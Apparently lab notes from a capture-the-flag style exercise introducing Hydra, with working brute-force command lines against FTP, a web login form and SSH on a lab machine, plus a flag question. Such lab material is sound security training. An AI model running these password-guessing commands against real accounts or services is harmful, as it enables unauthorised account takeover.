Hydra ⇒ is a brute force online password cracking program, a quick system login password “hacking” tool.
Hydra can run through a list and “brute force” some authentication services. Imagine trying to manually guess someone’s password on a particular service (SSH, Web Application Form, FTP or SNMP) - we can use Hydra to run through a password list and speed this process up for us, determining the correct password.
Installing Hydra ⇒ apt install hydra or dnf install hydra
Answer: No answer needed
hydra -l user -P passlist.txt ftp://MACHINE_IP
Post Web Form
**hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V**
SSH
hydra -l <username> -P <full path to pass> MACHINE_IP -t 4 ssh
Q1: Use Hydra to brute force molly's web password. What is flag 1?
Open a Website http://10.10.107.214/login